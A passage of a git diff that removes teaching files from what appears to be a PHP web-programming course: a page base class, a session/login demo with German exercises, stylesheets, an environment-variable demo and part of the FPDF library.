diff --git a/src/Demos/PHP/Session_Demo/Page.php b/src/Demos/PHP/Session_Demo/Page.php
deleted file mode 100644
index 78deb4daf1e749a031c1e6cafe2dbd085c0b9ea1..0000000000000000000000000000000000000000
--- a/src/Demos/PHP/Session_Demo/Page.php
+++ /dev/null
@@ -1,141 +0,0 @@
-<?php declare(strict_types=1);
-// UTF-8 marker äöüÄÖÜ߀
-/**
- * Class Page for the exercises of the EWA lecture
- * Demonstrates use of PHP including class and OO.
- * Implements Zend coding standards.
- * Generate documentation with Doxygen or phpdoc
- *
- * PHP Version 7.4
- *
- * @file     Page.php
- * @package  Page Templates
- * @author   Bernhard Kreling, <bernhard.kreling@h-da.de>
- * @author   Ralf Hahn, <ralf.hahn@h-da.de>
- * @version  3.0
- */
-
-/**
- * This abstract class is a common base class for all
- * HTML-pages to be created.
- * It manages access to the database and provides operations
- * for outputting header and footer of a page.
- * Specific pages have to inherit from that class.
- * Each derived class can use these operations for accessing the database
- * and for creating the generic parts of a HTML-page.
- *
- * @author   Bernhard Kreling, <bernhard.kreling@h-da.de>
- * @author   Ralf Hahn, <ralf.hahn@h-da.de>
- */
-abstract class Page
-{
-    // --- ATTRIBUTES ---
-
-    /**
-     * Reference to the MySQLi-Database that can be used
-     * by all operations of the class or inherited classes.
-     */
-    protected MySQLi $_database;
-    const SESSION_ROLE_KEY = 'role';
-    const ROLE_ADMIN = 'admin';
-
-    // --- OPERATIONS ---
-
-    /**
-     * Connects to DB and stores
-     * the connection in member $_database.
-     * Needs name of DB, user, password.
-     */
-    protected function __construct()
-    {
-        error_reporting(E_ALL);
-        //@todo add database connection // NOSONAR ignore hint for students
-        // Attention: never store passwords as plain text in a db, use hashes only!!!
-    }
-
-    /**
-     * Closes the DB connection and cleans up
-     */
-    public function __destruct()
-    {
-
-    }
-
-    /**
-     * Generates the header section of the page.
-     * i.e. starting from the content type up to the body-tag.
-     * Takes care that all strings passed from outside
-     * are converted to safe HTML by htmlspecialchars.
-     *
-     * @param $title $title is the text to be used as title of the page
-     * @return void
-     */
-    protected function generatePageHeader(string $title = "", string $jsFile = "", bool $autoreload = false): void
-    {
-        $title = htmlspecialchars($title);
-        // define MIME type of response (*before* all HTML):
-        header("Content-type: text/html; charset=UTF-8");
-        $js = ($jsFile === "") ? "" : "<script src='{$jsFile}'> </script>";
-        $refresh = ($autoreload) ? '<meta http-equiv="refresh" content="5" />' : "";
-        // output HTML header
-        echo <<<EOT
-<!DOCTYPE html>
-<html lang="de">
-<head>
-	<meta charset="UTF-8"/>
-    <title>$title</title>
-    <link rel="stylesheet" href="style.css"/>
-    $js
-    $refresh
-</head>
-<body>
-
-EOT;
-    }
-
-    /**
-     * Outputs the end of the HTML-file i.e. </body> etc.
-     * @return void
-     */
-    protected function generatePageFooter(): void
-    {
-        echo "</body></html>";
-    }
-
-    /**
-     * Processes the data that comes in via GET or POST.
-     * If every derived page is supposed to do something common
-     * with submitted data do it here.
-     * E.g. checking the settings of PHP that
-     * influence passing the parameters (e.g. magic_quotes).
-     * @return void
-     */
-    protected function processReceivedData(): void
-    {
-
-    }
-
-    protected function printSessionDebugInfo(): void
-    {
-        $sessionstatus = session_status();
-        $sessionid = session_id();
-        echo <<<HERE
-        <pre>
-        **Debug-Infos**
-        session_status(): $sessionstatus     (DISABLED = 0, NONE = 1, ACTIVE = 2)
-        session_id(): $sessionid
-        \$_SESSION:
-        HERE;
-        if (session_status() === PHP_SESSION_ACTIVE) {
-            var_dump($_SESSION);
-        }
-        echo "</pre>";
-    }
-} // end of class
-
-// Zend standard does not like closing php-tag!
-// PHP doesn't require the closing tag (it is assumed when the file ends). 
-// Not specifying the closing ? >  helps to prevent accidents 
-// like additional whitespace which will cause session 
-// initialization to fail ("headers already sent"). 
-//? >
\ No newline at end of file
diff --git a/src/Demos/PHP/Session_Demo/index.html b/src/Demos/PHP/Session_Demo/index.html
deleted file mode 100644
index ffe7192723250331214ad66b4931f1771ce5ad1a..0000000000000000000000000000000000000000
--- a/src/Demos/PHP/Session_Demo/index.html
+++ /dev/null
@@ -1,63 +0,0 @@
-<!DOCTYPE html>
-<html lang="de">
-<head>
-    <style>
-        .left {
-            float: left;
-            width: 49%;
-            height: 100vh;
-        }
-
-        .right {
-            float: right;
-            width: 49%;
-            height: 100vh;
-        }
-        .comment {color: dimgray;}
-    </style>
-    <meta charset="UTF-8"/>
-
-    <title>Session-Demo</title>
-</head>
-<body>
-<main>
-    <h1>Session-Demo</h1>
-    <p>Hier können Sie im Rahmen einer kleinen Login-Funktion sehen und ausprobieren, wie sich verschiedene
-        Änderungen im Code auswirken und wie das Zusammenspiel der Seiten Login und Admin erfolgt.
-        Eine Datenbankanbindung wurde zur Vereinfachung nicht integriert.
-        Probieren Sie folgende Änderungen im Code aus und beobachten Sie, was sich verändert. Versuchen Sie dies
-        nachzuvollziehen.
-    </p>
-    <ul>
-        <li>Aktivieren Sie die Developer-Werkzeuge Ihres Browsers und schauen Sie ob und wie eine Session-Id
-            übermittelt wird (Cookie/hidden Field)</li>
-        <li>Was fällt Ihnen beim Start dieser Seite auf?</li>
-        <li>Melden Sie sich in Login.php mit irgendwelchen Daten an, was ändert sich? Wenn Sie weiterhin die Login-Seite
-            sehen möchten, dann machen Sie einen Rechtsklick im linken Frame und wählen zurück.
-        </li>
-        <li>Schauen Sie sich die Session-Dateien an, führen Sie dazu folgende Befehle aus (alles nach <span class="comment"># ist ein Kommentar!</span>)
-            <ul>
-                <li>docker exec -it ewa2_php_apache bash <span class="comment"># damit starten Sie die bash Ihres Apache-Docker-Containers</span></li>
-                <li>cd /tmp</li>
-                <li>more sess_ &nbsp; <span class="comment"># mit tab jetzt den Dateinamen vervollständigen lassen</span></li>
-                <li>exit <span class="comment"># damit verlassen Sie die bash</span></li>
-            </ul>
-        </li>
-        <li>Klicken Sie im Frame links auf 'logout', was verändert sich?</li>
-        <li>Passen Sie die Seite Login.php wie folgt an: Rückgabe false bei validateCredentials</li>
-        <li>Passen Sie die Seite Login.php wie folgt an: Rückgabe einer anderen Rolle, z.B. 'normal' in getRole</li>
-        <li>Passen Sie die Seite Admin.php wie folgt an: kommentieren Sie session_start aus, was passiert nun?
-            Debugger?
-        </li>
-        <li>Passen Sie die Seite Login.php wie folgt an: Rufen Sie session_start() als zweite Zeile in
-            processReceivedData auf.
-        </li>
-        <li>Passen Sie die Seite Login.php wie folgt an: Rufen Sie session_start() in generateView nach dem Aufruf von
-            generatePageHeader auf (so nicht! warum?).
-        </li>
-    </ul>
-    <iframe class="left" src="Login.php" title="Login"></iframe>
-    <iframe class="right" src="Admin.php" title="Admin"></iframe>
-</main>
-</body>
-</html>
\ No newline at end of file
diff --git a/src/Demos/PHP/Session_Demo/style.css b/src/Demos/PHP/Session_Demo/style.css
deleted file mode 100644
index 2be05ea6f323d5399ca3bbb46f7221d501bbdcc9..0000000000000000000000000000000000000000
--- a/src/Demos/PHP/Session_Demo/style.css
+++ /dev/null
@@ -1,37 +0,0 @@
-* {
-    font-family: "Roboto", sans-serif;
-}
-.login-page {
-    width: 40em;
-    padding: 8% 0 0;
-    margin: auto;
-    text-align: center;
-}
-.login-form {
-    background: #FFFFFF;
-    margin: 0 auto 100px;
-    padding: 45px;
-    box-shadow: 0 0 20px 0 rgba(0, 0, 0, 0.2), 0 5px 5px 0 rgba(0, 0, 0, 0.24);
-}
-
-.login-form input {
-    background: #f2f2f2;
-    width: 100%;
-    border: 0;
-    margin: 0 0 15px;
-    padding: 15px;
-    font-size: 1.2em;
-}
-
-.login-form input[type=submit] {
-    text-transform: uppercase;
-    background-color: #328f8a;
-    background-image: linear-gradient(45deg, #328f8a, #08ac4b);
-    width: 100%;
-    border: 0;
-    padding: 15px;
-    color: #FFFFFF;
-    font-size: 1.5em;
-    cursor: pointer;
-}
-
diff --git a/src/Demos/PHP/Umgebungsvariablen.php b/src/Demos/PHP/Umgebungsvariablen.php
deleted file mode 100644
index 1db2c8666a9cb5dc9ff1a0736bed4de6df77f48e..0000000000000000000000000000000000000000
--- a/src/Demos/PHP/Umgebungsvariablen.php
+++ /dev/null
@@ -1,20 +0,0 @@
-<?php header("Content-type: text/html"); ?>
-<!DOCTYPE html>
-<html lang="de">
-<head>
-    <meta charset="UTF-8"/>
-    <title>Umgebungsvariablen</title>
-</head>
-<body>
-<h2>Umgebungsvariablen</h2>
-<pre>
-<?php
-
-foreach ($_ENV as $key => $value) {
-    echo "$key=$value\n";
-}
-
-?>
-		</pre>
-</body>
-</html>
diff --git a/src/Demos/PHP/fpdf/font/helveticab.php b/src/Demos/PHP/fpdf/font/helveticab.php
deleted file mode 100644
index d8a23015ba450a667fb0e36009ef887568f677b9..0000000000000000000000000000000000000000
--- a/src/Demos/PHP/fpdf/font/helveticab.php
+++ /dev/null
@@ -1,20 +0,0 @@
-<?php
-$type = 'Core';
-$name = 'Helvetica-Bold';
-$up = -100;
-$ut = 50;
-$cw = array(
-	chr(0)=>278,chr(1)=>278,chr(2)=>278,chr(3)=>278,chr(4)=>278,chr(5)=>278,chr(6)=>278,chr(7)=>278,chr(8)=>278,chr(9)=>278,chr(10)=>278,chr(11)=>278,chr(12)=>278,chr(13)=>278,chr(14)=>278,chr(15)=>278,chr(16)=>278,chr(17)=>278,chr(18)=>278,chr(19)=>278,chr(20)=>278,chr(21)=>278,
-	chr(22)=>278,chr(23)=>278,chr(24)=>278,chr(25)=>278,chr(26)=>278,chr(27)=>278,chr(28)=>278,chr(29)=>278,chr(30)=>278,chr(31)=>278,' '=>278,'!'=>333,'"'=>474,'#'=>556,'$'=>556,'%'=>889,'&'=>722,'\''=>238,'('=>333,')'=>333,'*'=>389,'+'=>584,
-	','=>278,'-'=>333,'.'=>278,'/'=>278,'0'=>556,'1'=>556,'2'=>556,'3'=>556,'4'=>556,'5'=>556,'6'=>556,'7'=>556,'8'=>556,'9'=>556,':'=>333,';'=>333,'<'=>584,'='=>584,'>'=>584,'?'=>611,'@'=>975,'A'=>722,
-	'B'=>722,'C'=>722,'D'=>722,'E'=>667,'F'=>611,'G'=>778,'H'=>722,'I'=>278,'J'=>556,'K'=>722,'L'=>611,'M'=>833,'N'=>722,'O'=>778,'P'=>667,'Q'=>778,'R'=>722,'S'=>667,'T'=>611,'U'=>722,'V'=>667,'W'=>944,
-	'X'=>667,'Y'=>667,'Z'=>611,'['=>333,'\\'=>278,']'=>333,'^'=>584,'_'=>556,'`'=>333,'a'=>556,'b'=>611,'c'=>556,'d'=>611,'e'=>556,'f'=>333,'g'=>611,'h'=>611,'i'=>278,'j'=>278,'k'=>556,'l'=>278,'m'=>889,
-	'n'=>611,'o'=>611,'p'=>611,'q'=>611,'r'=>389,'s'=>556,'t'=>333,'u'=>611,'v'=>556,'w'=>778,'x'=>556,'y'=>556,'z'=>500,'{'=>389,'|'=>280,'}'=>389,'~'=>584,chr(127)=>350,chr(128)=>556,chr(129)=>350,chr(130)=>278,chr(131)=>556,
-	chr(132)=>500,chr(133)=>1000,chr(134)=>556,chr(135)=>556,chr(136)=>333,chr(137)=>1000,chr(138)=>667,chr(139)=>333,chr(140)=>1000,chr(141)=>350,chr(142)=>611,chr(143)=>350,chr(144)=>350,chr(145)=>278,chr(146)=>278,chr(147)=>500,chr(148)=>500,chr(149)=>350,chr(150)=>556,chr(151)=>1000,chr(152)=>333,chr(153)=>1000,
-	chr(154)=>556,chr(155)=>333,chr(156)=>944,chr(157)=>350,chr(158)=>500,chr(159)=>667,chr(160)=>278,chr(161)=>333,chr(162)=>556,chr(163)=>556,chr(164)=>556,chr(165)=>556,chr(166)=>280,chr(167)=>556,chr(168)=>333,chr(169)=>737,chr(170)=>370,chr(171)=>556,chr(172)=>584,chr(173)=>333,chr(174)=>737,chr(175)=>333,
-	chr(176)=>400,chr(177)=>584,chr(178)=>333,chr(179)=>333,chr(180)=>333,chr(181)=>611,chr(182)=>556,chr(183)=>278,chr(184)=>333,chr(185)=>333,chr(186)=>365,chr(187)=>556,chr(188)=>834,chr(189)=>834,chr(190)=>834,chr(191)=>611,chr(192)=>722,chr(193)=>722,chr(194)=>722,chr(195)=>722,chr(196)=>722,chr(197)=>722,
-	chr(198)=>1000,chr(199)=>722,chr(200)=>667,chr(201)=>667,chr(202)=>667,chr(203)=>667,chr(204)=>278,chr(205)=>278,chr(206)=>278,chr(207)=>278,chr(208)=>722,chr(209)=>722,chr(210)=>778,chr(211)=>778,chr(212)=>778,chr(213)=>778,chr(214)=>778,chr(215)=>584,chr(216)=>778,chr(217)=>722,chr(218)=>722,chr(219)=>722,
-	chr(220)=>722,chr(221)=>667,chr(222)=>667,chr(223)=>611,chr(224)=>556,chr(225)=>556,chr(226)=>556,chr(227)=>556,chr(228)=>556,chr(229)=>556,chr(230)=>889,chr(231)=>556,chr(232)=>556,chr(233)=>556,chr(234)=>556,chr(235)=>556,chr(236)=>278,chr(237)=>278,chr(238)=>278,chr(239)=>278,chr(240)=>611,chr(241)=>611,
-	chr(242)=>611,chr(243)=>611,chr(244)=>611,chr(245)=>611,chr(246)=>611,chr(247)=>584,chr(248)=>611,chr(249)=>611,chr(250)=>611,chr(251)=>611,chr(252)=>611,chr(253)=>556,chr(254)=>611,chr(255)=>556);
-$enc = 'cp1252';
-$uv = array(0=>array(0,128),128=>8364,130=>8218,131=>402,132=>8222,133=>8230,134=>array(8224,2),136=>710,137=>8240,138=>352,139=>8249,140=>338,142=>381,145=>array(8216,2),147=>array(8220,2),149=>8226,150=>array(8211,2),152=>732,153=>8482,154=>353,155=>8250,156=>339,158=>382,159=>376,160=>array(160,96));
diff --git a/src/Demos/PHP/fpdf/fpdf.css b/src/Demos/PHP/fpdf/fpdf.css
deleted file mode 100644
index bf6cb78109b3dc7f18b45ea48e37b908d4233291..0000000000000000000000000000000000000000
--- a/src/Demos/PHP/fpdf/fpdf.css
+++ /dev/null
@@ -1,21 +0,0 @@
-body {font-family:"Times New Roman",serif}
-h1 {font:bold 135% Arial,sans-serif; color:#4000A0; margin-bottom:0.9em}
-h2 {font:bold 95% Arial,sans-serif; color:#900000; margin-top:1.5em; margin-bottom:1em}
-dl.param dt {text-decoration:underline}
-dl.param dd {margin-top:1em; margin-bottom:1em}
-dl.param ul {margin-top:1em; margin-bottom:1em}
-tt, code, kbd {font-family:"Courier New",Courier,monospace; font-size:82%}
-div.source {margin-top:1.4em; margin-bottom:1.3em}
-div.source pre {display:table; border:1px solid #24246A; width:100%; margin:0; font-family:inherit; font-size:100%}
-div.source code {display:block; border:1px solid #C5C5EC; background-color:#F0F5FF; padding:6px; color:#000000}
-div.doc-source {margin-top:1.4em; margin-bottom:1.3em}
-div.doc-source pre {display:table; width:100%; margin:0; font-family:inherit; font-size:100%}
-div.doc-source code {display:block; background-color:#E0E0E0; padding:4px}
-.kw {color:#000080; font-weight:bold}
-.str {color:#CC0000}
-.cmt {color:#008000}
-p.demo {text-align:center; margin-top:-0.9em}
-a.demo {text-decoration:none; font-weight:bold; color:#0000CC}
-a.demo:link {text-decoration:none; font-weight:bold; color:#0000CC}
-a.demo:hover {text-decoration:none; font-weight:bold; color:#0000FF}
-a.demo:active {text-decoration:none; font-weight:bold; color:#0000FF}
diff --git a/src/Demos/PHP/fpdf/fpdf.php b/src/Demos/PHP/fpdf/fpdf.php
deleted file mode 100644
index 653be8a73bcf8c8b11a03be2fbba76b94cc6a68f..0000000000000000000000000000000000000000
--- a/src/Demos/PHP/fpdf/fpdf.php
+++ /dev/null
@@ -1,1897 +0,0 @@
-<?php /** @noinspection PhpDocSignatureInspection */
-/** @noinspection PhpDocSignatureInspection */
-/** @noinspection PhpDocSignatureInspection */
-/** @noinspection PhpIncludeInspection */
-/*******************************************************************************
-* FPDF                                                                         *
-*                                                                              *
-* Version: 1.82                                                                *
-* Date:    2019-12-07                                                          *
-* Author:  Olivier PLATHEY                                                     *
-*******************************************************************************/
-
-define('FPDF_VERSION','1.82');
-
-class FPDF
-{
-protected $page;               // current page number
-protected $n;                  // current object number
-protected $offsets;            // array of object offsets
-protected $buffer;             // buffer holding in-memory PDF
-protected $pages;              // array containing pages
-protected $state;              // current document state
-protected $compress;           // compression flag
-protected $k;                  // scale factor (number of points in user unit)
-protected $DefOrientation;     // default orientation
-protected $CurOrientation;     // current orientation
-protected $StdPageSizes;       // standard page sizes
-protected $DefPageSize;        // default page size
-protected $CurPageSize;        // current page size
-protected $CurRotation;        // current page rotation
-protected $PageInfo;           // page-related data
-protected $wPt, $hPt;          // dimensions of current page in points
-protected $w, $h;              // dimensions of current page in user unit
-protected $lMargin;            // left margin
-protected $tMargin;            // top margin
-protected $rMargin;            // right margin
-protected $bMargin;            // page break margin
-protected $cMargin;            // cell margin
-protected $x, $y;              // current position in user unit
-protected $lasth;              // height of last printed cell
-protected $LineWidth;          // line width in user unit
-protected $fontpath;           // path containing fonts
-protected $CoreFonts;          // array of core font names
-protected $fonts;              // array of used fonts
-protected $FontFiles;          // array of font files
-protected $encodings;          // array of encodings
-protected $cmaps;              // array of ToUnicode CMaps
-protected $FontFamily;         // current font family
-protected $FontStyle;          // current font style
-protected $underline;          // underlining flag
-protected $CurrentFont;        // current font info
-protected $FontSizePt;         // current font size in points
-protected $FontSize;           // current font size in user unit
-protected $DrawColor;          // commands for drawing color
-protected $FillColor;          // commands for filling color
-protected $TextColor;          // commands for text color
-protected $ColorFlag;          // indicates whether fill and text colors are different
-protected $WithAlpha;          // indicates whether alpha channel is used
-protected $ws;                 // word spacing
-protected $images;             // array of used images
-protected $PageLinks;          // array of links in pages
-protected $links;              // array of internal links
-protected $AutoPageBreak;      // automatic page breaking
-protected $PageBreakTrigger;   // threshold used to trigger page breaks
-protected $InHeader;           // flag set when processing header
-protected $InFooter;           // flag set when processing footer
-protected $AliasNbPages;       // alias for total number of pages
-protected $ZoomMode;           // zoom display mode
-protected $LayoutMode;         // layout display mode
-protected $metadata;           // document properties
-protected $PDFVersion;         // PDF version number
-
-/*******************************************************************************
-*                               Public methods                                 *
-*******************************************************************************/
-
-function __construct($orientation='P', $unit='mm', $size='A4')
-{
-	// Some checks
-	$this->_dochecks();
-	// Initialization of properties
-	$this->state = 0;
-	$this->page = 0;
-	$this->n = 2;
-	$this->buffer = '';
-	$this->pages = array();
-	$this->PageInfo = array();
-	$this->fonts = array();
-	$this->FontFiles = array();
-	$this->encodings = array();
-	$this->cmaps = array();
-	$this->images = array();
-	$this->links = array();
-	$this->InHeader = false;
-	$this->InFooter = false;
-	$this->lasth = 0;
-	$this->FontFamily = '';
-	$this->FontStyle = '';
-	$this->FontSizePt = 12;
-	$this->underline = false;
-	$this->DrawColor = '0 G';
-	$this->FillColor = '0 g';
-	$this->TextColor = '0 g';
-	$this->ColorFlag = false;
-	$this->WithAlpha = false;
-	$this->ws = 0;
-	// Font path
-	if(defined('FPDF_FONTPATH'))
-	{
-		$this->fontpath = FPDF_FONTPATH;
-		if(substr($this->fontpath,-1)!='/' && substr($this->fontpath,-1)!='\\')
-			$this->fontpath .= '/';
-	}
-	elseif(is_dir(dirname(__FILE__).'/font'))
-		$this->fontpath = dirname(__FILE__).'/font/';
-	else
-		$this->fontpath = '';
-	// Core fonts
-	$this->CoreFonts = array('courier', 'helvetica', 'times', 'symbol', 'zapfdingbats');
-	// Scale factor
-	if($unit=='pt')
-		$this->k = 1;
-	elseif($unit=='mm')
-		$this->k = 72/25.4;
-	elseif($unit=='cm')
-		$this->k = 72/2.54;
-	elseif($unit=='in')
-		$this->k = 72;
-	else
-		$this->Error('Incorrect unit: '.$unit);
-	// Page sizes
-	$this->StdPageSizes = array('a3'=>array(841.89,1190.55), 'a4'=>array(595.28,841.89), 'a5'=>array(420.94,595.28),
-		'letter'=>array(612,792), 'legal'=>array(612,1008));
-	$size = $this->_getpagesize($size);
-	$this->DefPageSize = $size;
-	$this->CurPageSize = $size;
-	// Page orientation
-	$orientation = strtolower($orientation);
-	if($orientation=='p' || $orientation=='portrait')
-	{
-		$this->DefOrientation = 'P';
-		$this->w = $size[0];
-		$this->h = $size[1];
-	}
-	elseif($orientation=='l' || $orientation=='landscape')
-	{
-		$this->DefOrientation = 'L';
-		$this->w = $size[1];
-		$this->h = $size[0];
-	}
-	else
-		$this->Error('Incorrect orientation: '.$orientation);
-	$this->CurOrientation = $this->DefOrientation;
-	$this->wPt = $this->w*$this->k;
-	$this->hPt = $this->h*$this->k;
-	// Page rotation
-	$this->CurRotation = 0;
-	// Page margins (1 cm)
-	$margin = 28.35/$this->k;
-	$this->SetMargins($margin,$margin);
-	// Interior cell margin (1 mm)
-	$this->cMargin = $margin/10;
-	// Line width (0.2 mm)
-	$this->LineWidth = .567/$this->k;
-	// Automatic page break
-	$this->SetAutoPageBreak(true,2*$margin);
-	// Default display mode
-	$this->SetDisplayMode('default');
-	// Enable compression
-	$this->SetCompression(true);
-	// Set default PDF version number
-	$this->PDFVersion = '1.3';
-}
-
-function SetMargins($left, $top, $right=null)
-{
-	// Set left, top and right margins
-	$this->lMargin = $left;
-	$this->tMargin = $top;
-	if($right===null)
-		$right = $left;
-	$this->rMargin = $right;
-}
-
-function SetLeftMargin($margin)
-{
-	// Set left margin
-	$this->lMargin = $margin;
-	if($this->page>0 && $this->x<$margin)
-		$this->x = $margin;
-}
-
-function SetTopMargin($margin)
-{
-	// Set top margin
-	$this->tMargin = $margin;
-}
-
-function SetRightMargin($margin)
-{
-	// Set right margin
-	$this->rMargin = $margin;
-}
-
-function SetAutoPageBreak($auto, $margin=0)
-{
-	// Set auto page break mode and triggering margin
-	$this->AutoPageBreak = $auto;
-	$this->bMargin = $margin;
-	$this->PageBreakTrigger = $this->h-$margin;
-}
-
-function SetDisplayMode($zoom, $layout='default')
-{
-	// Set display mode in viewer
-	if($zoom=='fullpage' || $zoom=='fullwidth' || $zoom=='real' || $zoom=='default' || !is_string($zoom))
-		$this->ZoomMode = $zoom;
-	else
-		$this->Error('Incorrect zoom display mode: '.$zoom);
-	if($layout=='single' || $layout=='continuous' || $layout=='two' || $layout=='default')
-		$this->LayoutMode = $layout;
-	else
-		$this->Error('Incorrect layout display mode: '.$layout);
-}
-
-function SetCompression($compress)
-{
-	// Set page compression
-	if(function_exists('gzcompress'))
-		$this->compress = $compress;
-	else
-		$this->compress = false;
-}
-
-function SetTitle($title, $isUTF8=false)
-{
-	// Title of document
-	$this->metadata['Title'] = $isUTF8 ? $title : utf8_encode($title);
-}
-
-function SetAuthor($author, $isUTF8=false)
-{
-	// Author of document
-	$this->metadata['Author'] = $isUTF8 ? $author : utf8_encode($author);
-}
-
-function SetSubject($subject, $isUTF8=false)
-{
-	// Subject of document
-	$this->metadata['Subject'] = $isUTF8 ? $subject : utf8_encode($subject);
-}
-
-function SetKeywords($keywords, $isUTF8=false)
-{
-	// Keywords of document
-	$this->metadata['Keywords'] = $isUTF8 ? $keywords : utf8_encode($keywords);
-}
-
-function SetCreator($creator, $isUTF8=false)
-{
-	// Creator of document
-	$this->metadata['Creator'] = $isUTF8 ? $creator : utf8_encode($creator);
-}
-
-function AliasNbPages($alias='{nb}')
-{
-	// Define an alias for total number of pages
-	$this->AliasNbPages = $alias;
-}
-
-function Error($msg)
-{
-	// Fatal error
-	throw new Exception('FPDF error: '.$msg);
-}
-
-function Close()
-{
-	// Terminate document
-	if($this->state==3)
-		return;
-	if($this->page==0)
-		$this->AddPage();
-	// Page footer
-	$this->InFooter = true;
-	$this->Footer();
-	$this->InFooter = false;
-	// Close page
-	$this->_endpage();
-	// Close document
-	$this->_enddoc();
-}
-
-function AddPage($orientation='', $size='', $rotation=0)
-{
-	// Start a new page
-	if($this->state==3)
-		$this->Error('The document is closed');
-	$family = $this->FontFamily;
-	$style = $this->FontStyle.($this->underline ? 'U' : '');
-	$fontsize = $this->FontSizePt;
-	$lw = $this->LineWidth;
-	$dc = $this->DrawColor;
-	$fc = $this->FillColor;
-	$tc = $this->TextColor;
-	$cf = $this->ColorFlag;
-	if($this->page>0)
-	{
-		// Page footer
-		$this->InFooter = true;
-		$this->Footer();
-		$this->InFooter = false;
-		// Close page
-		$this->_endpage();
-	}
-	// Start new page
-	$this->_beginpage($orientation,$size,$rotation);
-	// Set line cap style to square
-	$this->_out('2 J');
-	// Set line width
-	$this->LineWidth = $lw;
-	$this->_out(sprintf('%.2F w',$lw*$this->k));
-	// Set font
-	if($family)
-		$this->SetFont($family,$style,$fontsize);
-	// Set colors
-	$this->DrawColor = $dc;
-	if($dc!='0 G')
-		$this->_out($dc);
-	$this->FillColor = $fc;
-	if($fc!='0 g')
-		$this->_out($fc);
-	$this->TextColor = $tc;
-	$this->ColorFlag = $cf;
-	// Page header
-	$this->InHeader = true;
-	$this->Header();
-	$this->InHeader = false;
-	// Restore line width
-	if($this->LineWidth!=$lw)
-	{
-		$this->LineWidth = $lw;
-		$this->_out(sprintf('%.2F w',$lw*$this->k));
-	}
-	// Restore font
-	if($family)
-		$this->SetFont($family,$style,$fontsize);
-	// Restore colors
-	if($this->DrawColor!=$dc)
-	{
-		$this->DrawColor = $dc;
-		$this->_out($dc);
-	}
-	if($this->FillColor!=$fc)
-	{
-		$this->FillColor = $fc;
-		$this->_out($fc);
-	}
-	$this->TextColor = $tc;
-	$this->ColorFlag = $cf;
-}
-
-function Header()
-{
-	// To be implemented in your own inherited class
-}
-
-function Footer()
-{
-	// To be implemented in your own inherited class
-}
-
-function PageNo()
-{
-	// Get current page number
-	return $this->page;
-}
-
-function SetDrawColor($r, $g=null, $b=null)
-{
-	// Set color for all stroking operations
-	if(($r==0 && $g==0 && $b==0) || $g===null)
-		$this->DrawColor = sprintf('%.3F G',$r/255);
-	else
-		$this->DrawColor = sprintf('%.3F %.3F %.3F RG',$r/255,$g/255,$b/255);
-	if($this->page>0)
-		$this->_out($this->DrawColor);
-}
-
-function SetFillColor($r, $g=null, $b=null)
-{
-	// Set color for all filling operations
-	if(($r==0 && $g==0 && $b==0) || $g===null)
-		$this->FillColor = sprintf('%.3F g',$r/255);
-	else
-		$this->FillColor = sprintf('%.3F %.3F %.3F rg',$r/255,$g/255,$b/255);
-	$this->ColorFlag = ($this->FillColor!=$this->TextColor);
-	if($this->page>0)
-		$this->_out($this->FillColor);
-}
-
-function SetTextColor($r, $g=null, $b=null)
-{
-	// Set color for text
-	if(($r==0 && $g==0 && $b==0) || $g===null)
-		$this->TextColor = sprintf('%.3F g',$r/255);
-	else
-		$this->TextColor = sprintf('%.3F %.3F %.3F rg',$r/255,$g/255,$b/255);
-	$this->ColorFlag = ($this->FillColor!=$this->TextColor);
-}
-
-function GetStringWidth($s)
-{
-	// Get width of a string in the current font
-	$s = (string)$s;
-	$cw = &$this->CurrentFont['cw'];
-	$w = 0;
-	$l = strlen($s);
-	for($i=0;$i<$l;$i++)
-		$w += $cw[$s[$i]];
-	return $w*$this->FontSize/1000;
-}
-
-function SetLineWidth($width)
-{
-	// Set line width
-	$this->LineWidth = $width;
-	if($this->page>0)
-		$this->_out(sprintf('%.2F w',$width*$this->k));
-}
-
-function Line($x1, $y1, $x2, $y2)
-{
-	// Draw a line
-	$this->_out(sprintf('%.2F %.2F m %.2F %.2F l S',$x1*$this->k,($this->h-$y1)*$this->k,$x2*$this->k,($this->h-$y2)*$this->k));
-}
-
-function Rect($x, $y, $w, $h, $style='')
-{
-	// Draw a rectangle
-	if($style=='F')
-		$op = 'f';
-	elseif($style=='FD' || $style=='DF')
-		$op = 'B';
-	else
-		$op = 'S';
-	$this->_out(sprintf('%.2F %.2F %.2F %.2F re %s',$x*$this->k,($this->h-$y)*$this->k,$w*$this->k,-$h*$this->k,$op));
-}
-
-function AddFont($family, $style='', $file='')
-{
-	// Add a TrueType, OpenType or Type1 font
-	$family = strtolower($family);
-	if($file=='')
-		$file = str_replace(' ','',$family).strtolower($style).'.php';
-	$style = strtoupper($style);
-	if($style=='IB')
-		$style = 'BI';
-	$fontkey = $family.$style;
-	if(isset($this->fonts[$fontkey]))
-		return;
-	$info = $this->_loadfont($file);
-	$info['i'] = count($this->fonts)+1;
-	if(!empty($info['file']))
-	{
-		// Embedded font
-		if($info['type']=='TrueType')
-			$this->FontFiles[$info['file']] = array('length1'=>$info['originalsize']);
-		else
-			$this->FontFiles[$info['file']] = array('length1'=>$info['size1'], 'length2'=>$info['size2']);
-	}
-	$this->fonts[$fontkey] = $info;
-}
-
-function SetFont($family, $style='', $size=0)
-{
-	// Select a font; size given in points
-	if($family=='')
-		$family = $this->FontFamily;
-	else
-		$family = strtolower($family);
-	$style = strtoupper($style);
-	if(strpos($style,'U')!==false)
-	{
-		$this->underline = true;
-		$style = str_replace('U','',$style);
-	}
-	else
-		$this->underline = false;
-	if($style=='IB')
-		$style = 'BI';
-	if($size==0)
-		$size = $this->FontSizePt;
-	// Test if font is already selected
-	if($this->FontFamily==$family && $this->FontStyle==$style && $this->FontSizePt==$size)
-		return;
-	// Test if font is already loaded
-	$fontkey = $family.$style;
-	if(!isset($this->fonts[$fontkey]))
-	{
-		// Test if one of the core fonts
-		if($family=='arial')
-			$family = 'helvetica';
-		if(in_array($family,$this->CoreFonts))
-		{
-			if($family=='symbol' || $family=='zapfdingbats')
-				$style = '';
-			$fontkey = $family.$style;
-			if(!isset($this->fonts[$fontkey]))
-				$this->AddFont($family,$style);
-		}
-		else
-			$this->Error('Undefined font: '.$family.' '.$style);
-	}
-	// Select it
-	$this->FontFamily = $family;
-	$this->FontStyle = $style;
-	$this->FontSizePt = $size;
-	$this->FontSize = $size/$this->k;
-	$this->CurrentFont = &$this->fonts[$fontkey];
-	if($this->page>0)
-		$this->_out(sprintf('BT /F%d %.2F Tf ET',$this->CurrentFont['i'],$this->FontSizePt));
-}
-
-function SetFontSize($size)
-{
-	// Set font size in points
-	if($this->FontSizePt==$size)
-		return;
-	$this->FontSizePt = $size;
-	$this->FontSize = $size/$this->k;
